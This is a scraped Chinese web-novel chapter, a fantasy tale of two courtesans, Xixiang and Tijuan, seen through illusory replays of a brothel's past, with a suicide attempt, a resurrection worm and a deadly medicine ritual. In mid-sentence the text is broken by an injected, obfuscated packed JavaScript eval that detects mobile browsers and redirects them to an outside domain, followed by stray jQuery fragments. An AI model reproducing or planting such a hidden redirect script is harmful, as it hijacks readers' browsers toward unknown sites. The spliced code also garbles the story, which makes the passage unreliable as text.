默认冷灰
24号文字
方正启体

15. 媚香坊(九) 复生

作者:林眩晕本书字数:K更新时间:
    冰寒的水呛入鼻腔,阴沉的水域里,耳畔已经失去了动静。


    这条命本就是她救了,她拿走也无妨。


    啼娟安然地接受自己的宿命。


    “扑腾”一声,有阴影覆在她沉寂的身躯上,身旁汹涌的水被挤压开来,她艰难睁开双眸,模糊扭曲的脸近在咫尺。


    腰被用力搂住,来人身上常用的香弥散在水中,与腥气混做一团。


    即使这样,她也闻出了这是她常给袭香准备的衣饰所熏的香。


    袭香带着啼娟冒出水面,用尽力气将她拉了上去,她手颤抖地刨开似水藻般黏在她脸上的青丝,看见啼娟发白没有动静的脸时哭了出来。


    “啼娟姐姐,我不是真的想杀你,我只是气不过,想吓吓你!”感受身下的躯体发着凉,袭香匆匆脱了自己湿透的衣衫盖上去。


    她着急按着啼娟胸腔,脸上泪水混做一团,糊了她的双眼:“不会的,不会的。”


    直到啼娟躯体倏然一震,口中呛出一口水,袭香才停了动作。


    见躺着的女子如鸦羽般的睫毛颤了颤,似有醒来的预兆。她惊喜起身,踉跄迈步,边跑边自言自语道:“啼娟姐姐,你放心,我这就去找大夫。”


    急切的步子在谢朝蘅眼前掠过,滴水映在木板上,形成逶迤的水痕,在她低眼的瞬间,便消失了个干净。


    果然是幻境,连这种虚假的水都不能长留。


    之前见袭香对啼娟如此讳莫若深的样子,本以为两人关系不好,如今看来,却要另行商榷。


    只是,她望向缓慢有了呼吸的女子,实在不明白她为何要演绎一番过去的戏码。


    奚欲苏姿态闲适抱臂,侧着头,透着缝隙看着外面,他目光从嶙峋的假山旁滑过,道:“有人来了。”


    谢朝蘅也注意到了,目光落在假山上的瞬间,一道身影从假山后慢慢地走了出来。


    靴子踩在草地上发出窸窣声,一步一步,他立在啼娟身旁,踩住她摊开的青丝。


    男子身形高大,背对着两人,身影在昏暗的夜色下并不明显。


    谢朝蘅瞳孔却微微一震。


    他是祝知渊所化成的那个角色,也就是刚刚袭香口中所谓的主事的。


    “啼娟,真可怜啊。”


    他蹲下,声音带着同情和讥讽,“你以为帮她躲过当钱公子的试药人,替她拿回卖身契就能顺利送她出去吗?”


    他慢慢伸出手,掐住啼娟苍白脆弱的脖颈,道:“可惜,她永远不会懂你的良苦用心,你也永远死不瞑目了。”


    黑黝黝的阴影再次降临,谢朝蘅知道这幕戏即将结束。


    在黑暗吞噬一切前,她瞥见了藏在廊阁阴影处神色恐惧却又隐藏着兴奋期待的墨婳。


    原来她竟看到了一切。还有那个试药人,又是什么?


    迷雾散开,远处的山峦连绵起伏,在月色在浮现若隐若现的轮廓,繁星璀璨,在辽阔的夜空宛若宝石般撒下点点的光,映在山上一个个隆起的坟茔上。


    袭香呆坐挖了一半的土坑旁,她葱白的指尖沾着泥污,却无暇顾及,只望着面前已经有些腐烂的女尸。


    “你怎么就死了?”袭香动了动凝滞的眼珠,出手摸了摸她烂了一半的脸,语气不可置信且悲恸道,“你漂亮了一辈子,为什么死的时候会这么难看。”


    她还记得两人第一次见面。


    数九寒天,大雪似粗盐般洒在长街上的每个地方。


    她从媚香坊后门出来,裹了裹身上单薄的衣裳,她迈着小步,拎着竹篮,熟门熟路去采买灶房所列的物什。


    天气太冷,她绕进只有自己知道的小路,打算速去速回,却看见了在逼仄巷子中被雪掩埋一半的小女孩。


    想着多一事不如少一事,她当做没有看见,跨了过去,待正午雪停完成采买回来时,却发现女孩依旧躺在原处。


    她上前拨开雪,窥见和她年龄差不多大,却已生得玉貌仙姿的女孩,犹豫再三,使劲将她拖回了媚香坊。


    她住在灶房一旁堆放柴木的小隔间,常年不见光,漆□□仄,没有人会来,因此正是藏人的最好地方。


    这女孩生得太过耀眼,将她黢黑幽暗的屋子都衬得亮了亮。


    用发霉的棉被裹住她有些发僵的身躯,袭香出了屋子,将采买的东西送入了灶房。


    龟公立在门口,看见她便出口责骂她,将她踢进煤炭堆才扬长而去。其余人看见她满脸黑炭的滑稽样,皆毫不掩饰地大笑了起来。


    袭香对这些事早已麻木,只乖巧地烧着柴火。


    晚上她悄悄从灶房偷了一块白面馒头,回去刚推开门便看见正用生锈钝刀割腕的女孩。


    她被吓得一惊,馒头掉地上,她连忙冲上去拦住她,道:“你干什么!我今天因为救了你受到惩罚,你就这么轻易自杀了!”


    女孩抬起眼,目无波澜,只冷冷道:“放手。”


    “我不放,我救了你,你得报答完我再去死。”袭香道。


    女孩顿住,似乎是天生所受的礼教让她无法将别人的恩情置若未闻,因此她认真道:“我该怎么报答你?”


    “用银子。”袭香眼珠转了转,道,“为了让你醒来,我花光了我所有积蓄给你熬药,你得赔给我。”


    女孩垂眼摸了摸衣袖,道:“我……没银子。”


    “没关系啊,依你的长相,以后肯定能赚好多银子,你到时再还给我!”袭香笑嘻嘻道。


    女孩不解地拧起了眉,想问这是什么地方,却见袭香已经捡起落在地上的馒头,然后掰了一半递过来,道:“饿了吧,快吃点。”


    看着她生了冻疮的手上捏着的馒头,女孩接了过来,道:“谢谢。”


    “不用谢。”袭香贴着她坐下,便咬馒头便道,“你快点好,你好了我们就能过好日子了。”


    “为何?”女孩道。


    “因为你长得漂亮啊!”袭香凑近,油灯微弱,她眼中映出女孩的模样,道,“你是我见过长得最好看的人!”


    女孩不自然地转移了目光,沉默地咀嚼着馒头。


    日子一天天过去,女孩由原来的卧病在床到已经能自己扶着墙慢慢地走路了。


    袭香今日欢欢喜喜如常偷了馒头,刚出灶房,就被龟公踢了一脚。


    他高高在上看着袭香:“我就说冬日里哪来的老鼠,分明是生了小贼,来人,给我打!”


    袭香想逃,却被人压住,按地上,棍棒和脚先后落在她身上,她头晕眼花,全身上下没有一处疼的。


    她无力挣扎,只觉今日可能要死在这里了,她还没问那个漂亮的女孩要银子,这段时间真是白干了。


    “袭香!”女孩如珠玉轻击的声音传了过来,随即打她的人便停了动作,有人搂抱住了自己。


    再次醒来她躺在松软的床榻上,她起身,不可置信看着自己所处的位置。


    “你这小丫头真是走运了。”龟公阴恻恻的声音响起。


    她惊了一跳,缩进被裘,害怕地看着他:“什么走运?”


    龟公哼笑一声,并不多言,只转身离开。


    不一会儿,木门被推开,已经换了一身翡翠烟罗裙的女孩走了过来,坐在榻上,关切地看着她:“袭香,还疼吗?”


    袭香摇了摇头,只忽然意识到什么,开心地闯进了她的怀抱里,道:“我们能过好日子了!”女孩温柔笑了笑,安抚性地拍了拍她的肩道:“是,以后你不必在灶房干活了。”


    “还有,主事已经给我换了新名字啼娟,你以后就叫我啼娟姐姐吧。”


    啼娟不是她的真名,她知道。她从未说过自己的真名,只让她叫她姐姐。


    那时的她还没成熟到意识到啼娟舍弃自己的名姓,主动接受这一切意识着什么,只有满腹自己能过好日子的兴奋。


    “好好好,啼娟姐姐!”她开心地唤了出来。


    啼娟很聪慧,年岁尚轻,琴棋书画却无一不精通。


    啼娟待她很好,吃食,衣衫,首饰,凡是她有的,必有自己的一份,有时她没有的,自己喜欢,她也会想办法给她挣来。她用她能给的,来报答自己的救命之恩。


    这世界上,从未有他人像啼娟一样对她这么好。


    可是,啼娟死了。


    她再也不会任自己在她怀里撒娇,再无奈地将自己喜欢的东西送给自己了。


    袭香迷茫地看着已经生出尸斑的女子,道:“是我杀了你吗?”


    “是我杀了你吗?”她又重复了一遍,然后从袖中掏出刻着点翠蝴蝶的银簪子,这是她唯一一次送给啼娟的簪子,被她好好珍藏着,如今来结束自己的生命似乎也挺好。


    “我把命还给你吧。”她喃喃道。


    锋利的簪头划破袭香肌肤的那刻,一股突如其来的风掀翻了她。


    手中的簪子不受控制地脱离控制,她惊愕望去,一个面容普通,颧骨高耸中年男人走了过来。


    银簪浮在他的手上,他冷酷傲慢的双眸望着袭香。


    “你……你是谁?”袭香警惕地后退一步。


    “老夫是谁不重要,重要的是老夫可以帮你复活她。”男人道。


    袭香听过捉妖师的传闻,只知他们能从妖怪手中救人,却没想到他们还有让人死而复生的能力。


    她觉得匪夷所思,却还是期待道:“真的……可以吗?”


    男人目中闪过讽刺,他从袖中取出一个涌动着的拇指大小的紫色虫子,递了过去:“把这个喂进她嘴里。”


    袭香皱着眉,忍着恶心捻起肥胖的虫,掰开啼娟的下巴,闭着眼塞了进去。


    指尖碰到黏腻腐烂的血肉,她忙缩回手,男人的话钻进她耳朵里。


    “寻东南方的润土地底,老夫替你选好了,就在媚香坊的东处废苑,将她埋进去,过了七七四十九天她自然能活过来,复返混沌之生。”


    他怎么会知道媚香坊?袭香抬眼想问,却发现男人已没了踪迹。


    不问只言片语,却能猜到她的来处,她心中又对男人信服了几分。


    她咽下一口气,用草席将啼娟的尸体卷好,然后慢慢拖下山,一路黄土显出蜿蜒的痕迹,一眼望去,没有尽头。


    谢朝蘅待这一出戏落幕后,转头看向奚欲苏,道:“奚公子不觉得刚刚那人眼熟吗?”


    奚欲苏转眸,霁青色眸中溢出茫然,道:“眼熟……吗?”


    本有九分确定的谢朝蘅一听他这话,不免犹豫了。


    “奚公子不觉得那人像郡守


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860965|176022||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    府里的阿壮吗?”


    谢朝蘅开口补充道,“他快摔倒时,你不是还搀扶了他一把吗?”


    奚欲苏眼睫缓缓颤动,似才恍然大悟:“哦,想起来了,好像是有这么回事。”


    对嘛,她那时可是借着昏暗环境悄悄盯着奚欲苏的,怎么可能会记错?


    谢朝蘅想与奚欲苏讨论下阿壮的来头,刚望过去,却见少年勾起嘴角,道:“谢姑娘不仅记性好,眼力也很出色,那么昏暗的环境,不仅记住了他的脸,还看清了奚某的小习惯。”


    谢朝蘅神色骤然一僵,她想装听不懂,却偏偏意识到了他所说的习惯是喜洁。


    那时自己过于好奇他的真实善恶,故不免多分了点注意过去,但其实他低调不瞩目,甚至连扶人的动静也只引的身边好友短暂扫了一眼。


    她却是一直悄悄盯着的,以至于发现他幅度过大的清洁术动作,这才忆起原文中提及他素喜洁的特点。


    其实发现了他的习惯并不是主要的,而是暴露她过于莫名关注他才是大不妙的事。


    毕竟,两人只是萍水相逢的关系,她的表现很是异常。


    谢朝蘅搜肠刮肚,最后只能干笑两声,接了他的夸赞:“奚公子谬赞了,我确实记性好,眼力也好。”


    不等他回答,门外又响起了脚步声,她忙转移目光,自顾自道:“看来下一场戏又开始了。”


    清冷的月光洒进小轩窗,一股有一股似浪潮的风卷起了帷帐,兽首博山炉氤氲着缭绕的香,苦涩厚重的白檀香压过了如枯朽般的衰老腐臭味。


    “袭香,袭香,你来看我了。”奄奄一息的声音传了出来。


    婢女挑开一层帘幕,垂目神色如常地扶着伸出来的皮包骨头呈灰白色的手臂。


    “钱公子?你怎么了?”袭香忍着一股脑涌过来的恶臭,望了望关得紧紧的门,后悔答应主事的话给钱公子送东西。


    “公子生了恶疾,现下见不了人。”婢女替他解释道。


    “既然这样,东西已经送到,袭香就不打扰了。”袭香敛衽一礼,转身就要走。


    那婢女的动作却更快,她几步拦住袭香,道:“袭香姑娘能来见公子,公子很感动。姑娘看在往日与公子的情分,喂他喝完药再离开吧。”


    袭香刚想拒绝,不料婢女从袖中取出一叠银票,笑着递了过来:“这是公子的意思。”


    “好。”袭香接过银票,感受到厚度,恐惧早已被抛之脑后。


    婢女见此,推开门,道:“请姑娘等等。”


    袭香捏着银票,只觉如坐针毡,待婢女回来时她迫不及待起身,接过她递过来的瓷碗。


    婢女先她一步掀开帷帐,无法抑制的恶臭味瞬间钻入鼻腔,她看见了已经瘦成皮包骨头,裸露的肌肤尽是大片紫红疮疤,完全看不出原样的人,忙别过了头。


    “姑娘,请坐。”婢女立在一旁,笑着看她。


    袭香僵硬地弯起唇角,轻轻挨着床沿坐了下来,道:“钱公子,喝药了。”


    “袭香。”钱公子艰难抬起了脸,浑浊的双眼已经看不见她了,只在婢女帮助下用手试探地寻着她。


    袭香往后移了移,躲过他的手,然后就要给他喂药。


    “袭香姑娘,喂药前得先试试药的温度。”婢女空出一只手拦住了她的动作。


    袭香将瓷碗在脸上碰了碰,敷衍道:“刚刚好。”


    “袭香姑娘,你怎么不懂奴婢的意思,奴婢的意思是,你尝一口药。”


    婢女垂下身,看着抗拒的她,讽刺一笑道,“你以为银子是白收的吗?”


    袭香听着她明目张胆的威胁,看向钱公子,却发现他只喘着气,喃喃“袭香,袭香”,似一点也没注意两人的话。


    他听不见,袭香后知后觉意识到这件事。


    “快试试吧,袭香姑娘。”婢女出口催促。


    袭香只想赶紧离开,一闭眼,吞了一口褐色的药汤。她喝得囫囵吞枣,只觉有一块软烂散着幽香的东西被吞了下去。


    不敢细想那是什么东西,她将碗递到钱公子嘴边,快速服侍他喝完药,然后起身就要离开。


    “袭香姑娘。”婢女开口唤了她的名。


    袭香皱眉:“还有何事?”


    婢女莫名一笑,清秀的脸阴冷了几分,只道:“奴婢只是想提醒你,你离不开这里了。”


    “什……”袭香不解,下一刻,她腿一软,摔在地上,葱白的手上冒出似蚯蚓般的青筋,她瞪大双眸,只觉全身血肉都在疾速地干涸。


    “你们对我做了什么!”她抬眼,眸子已经有些模糊,纵是如此,她依旧瞥见了躺在床榻上起色逐渐转好的男子。


    钱公子慢慢下了榻,看着她,毫不掩饰地大笑道:“看来你还是逃不脱当本公子替死鬼的宿命!”


    不!不!为什么!为什么要让她这么死去!


    她错了,她错了,那日啼娟,是为了救她出魔爪才那么做的,可是她,却失手杀了她。


    “啼娟,对不起,对不起。”她泪眼纵横,口齿不清道,“啼娟……”


    我还没有看你醒过来,我——


    “唉,怎么把自己搞成这样子?”就在她绝望之际,一个温柔的声音似春风拂在她耳畔。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)